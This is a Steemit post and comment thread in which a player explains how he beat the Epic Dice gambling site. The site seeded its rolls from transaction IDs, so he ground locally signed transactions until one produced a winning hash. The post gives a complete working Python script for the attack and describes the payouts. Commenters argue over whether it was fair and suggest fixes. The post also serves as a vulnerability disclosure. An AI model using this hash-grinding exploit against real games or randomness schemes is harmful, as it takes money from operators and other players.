How 'Above 99' player outplayed Epic Dice
This is direct follow-up and process explanation of Epic Dice shut down, started by @themarkymark at Epic Dice shut down due to witness cheating
*Decentralization, absolute transparency and fairness are very good ideas. As long as they are done properly.
The problem was with too naive fairness here
Every dice result was calculated by Transaction ID of the bet (payment). @epicdice truly believed it is random. More to read here https://steemit.com/epicdice/@epicdice/epicdice-fairness
In the process of block signing, various information of a particular transaction like ref_block_num, ref_block_prefix, expiration and so on, contributed in the generation of a fully random 40 hex digits trx_id
Random number is generated solely using blockchain-generated transaction ID that is impossible for the house to mess with
They say.
The truth is that Transaction ID is 40 hex string cut from SHA-256 checksum of raw transaction.
Everything what is needed is to prepare custom transaction locally, verify it's 40-cut hash with Epic Dice playcode and broadcast if matches our bet.
Souce code
Steps:
- Install python3.6
- Install beem library
- Run below script (with proper signing keys)
from beem import Steem
from beem.transactionbuilder import TransactionBuilder
from beembase import operations
# EpicDice fairness formula taken from epicdice.io
def playcode(trx_id):
result = 1000000
offset = 0
length = 5
endValue = offset + length
chop = ''
finalResult = ''
while result > 999999:
chop = trx_id[offset:endValue]
offset += 5
endValue = offset + length
result = int(chop, 16)
finalResult = result % (10000) / 100
finalResult = int(round(finalResult, 0))
if finalResult == 0:
result = 1000000
return finalResult
s = Steem(keys=[ACTIVE_MYS])
# prepare custom transaction
op = operations.Transfer({
'from': 'mys',
'to': 'epicdice',
'amount': "1.020 STEEM",
'memo': "Above 99"})
# in a loop: sign transaction locally and then
# if transaction id rolls 100, broadcast it to the network
while True:
tb = TransactionBuilder(steem_instance=s)
tb.appendOps([op])
tb.appendWif(ACTIVE_MYS)
tb.constructTx()
tx = tb.sign(reconstruct_tx=False)
roll = playcode(tx.id)
if roll == 100:
tb.broadcast()
Transaction building and signing takes ~0.5s on average home PC. Assuming we try to hit 100
roll, we should get a match every ~8min. Just broadcast prepared transaction.
I was able to bet 27 times until @epicdice was taken down for investigation. Received in total 2,698.921 STEEM.
Summarize
- Nothing was "hacked". @epicdice code had no security nor programming flaw. It is just improper design or unawareness of things.
- Nothing was "stolen". To be honest, I sent to their wallet 1.020 STEEM and gets back 99.960 STEEM. Who wouldn't repeat this if it works?
- No witness tool was in use. Yes I do maintain @mysia as a light witness for Steem education purposes. However it wasn't involved in above game.
- No other accounts beside @mys actored here.
Did I play fairly or cheat shamely? I wonder if there were any other players using same strategy 🤔
EDIT:
I have returned all of the rewards to be completely fair with the Dice.
Below is their official statement about whole situation:
https://steemit.com/epicdice/@epicdice/epicdice-is-compromised
What is changing in each generated transaction to change the hash? Just a timestamp or also other aspects?
To be exact:
ref_block_num
andref_block_prefix
- they have to match togetherexpiration
- this could be arranged between 60 up to 3600 seconds from now. Many combinations we have :)Ah, got it. Yes I see those fields in your transactions. Example:
1867dd427abe7a9cfacf9542018832b42c565499
.Would it also be possible to do other operations to grind the hash? I guess that would probably decrease the efficiency of generating the transaction compared to just cycling expiration and ref_block_num/ref_block_prefix.
Ofc we can bet for different amounts of Steem. However cycling expiration date is enough and that I have done in different threads.
Great work on exposing the vulnerability. Really naive to use the transaction ID as the random seed. Amazing that their algorithm didn't use block hash, to at least add an element outside of the signer's control.
However, even when including a block hash, witnesses can game the random seed. This is a worry of mine with @steemmonsters pack opening. I think adding a slow key derivation function like PBKDF2 could result the attack vector by making brute force attempts infeasible. I don't think this has been implemented yet. CC @yabapmatt.
In reality if you wanted to test for a vulnerability, you would do it 3-5 times with success, then let @epicdice know so they could fix it. Anything more is exploiting and just using your "light witness" status to gain for yourself.
The righteous thing would be to keep 500 steem as payment, send the rest back and help them fix it so it is fair.
Posted using Partiko Android
Or maybe 2-4 or 4-7? In reality if he wanted to get all the money from epicdice account he would do it with anonymous multi accounts and probably at the time when team is sleeping. He did it from public account and haven't hidden anything. He gave all the STEEM back.
A lot of times when you report bugs you hear "F*ck off", "No, it's not working like that, everything is ok", "Thanks for the help, that's 10 STEEM or X shit tokens as a reward for you".
He didn't give it back right away though and in hindsight he could've just gone on and on if us players did not catch it. But he could have felt contacting them after my message and others who may have talked to him about it, from knowing it was right and working out the bounty for funds returned etc shows he turned around to be a good guy in the end. But lesson be learned that if you find an exploit and want to help make sure it is fixed, do it 3 - 5 times with success each time, talk to the developers/owners and work something reasonable out.
@mys
more........ Can not be written or explain.
Finally thanks for all and refunding the all steem
Glad how you revealed the detailed steps for the exploit. And the house is surely owe you for the favour in showing how vulnerable is the current randomness mechanism. Thank you.
However IMO it would be much better if you could inform the team about the vulnerability so we can patch it in timely manner, instead of utilise the trick “under the table” until someone else reported the event to the house. This would, unfortunately, making the actor seemingly trying to milk some the house the wrong way.
I’m not sure what is the motto of you running as a witness, but I generally believe a witness is ought to protect and better the whole ecosystem. If you intent to keep the fund, that would sadly cause harm to whole community including the house and players, including you. Things are being torn down instead of constructed.
You’re right, that’s neither stealing nor hacking, it is just unethical to “outplay” the house in such a way that’s clearly not intended by original game design. We would gladly reward you for such a huge bug bounty if you are going to make this a white-hat vulnerability test by returning the fund. You can DM me in here in our Discord for further discussion. Looking forward to you!
Dont feed trolls... This is NOT testnetting I mean cmon.
Your definition of stolen and everyone else's definition are two different things, it seems.
We know you would (and did), but not assume that everyone is as dishonest as you have been here.
At the end of the day the facts are these:
Don't you think Steem has suffered enough at the hands of scammers already? Do we honestly need more bad actors exploiting vulnerabilities instead of reporting them? Keeping this place scam and fraud-free should be the priority.
You definitely didn't play fairly.
And this is in part why https://www.steem-roller.com does not use transaction hashes for it's provably fair engine..
Nothing wrong with having your brain working for you.
This comment won for me xD
Posted using Partiko Android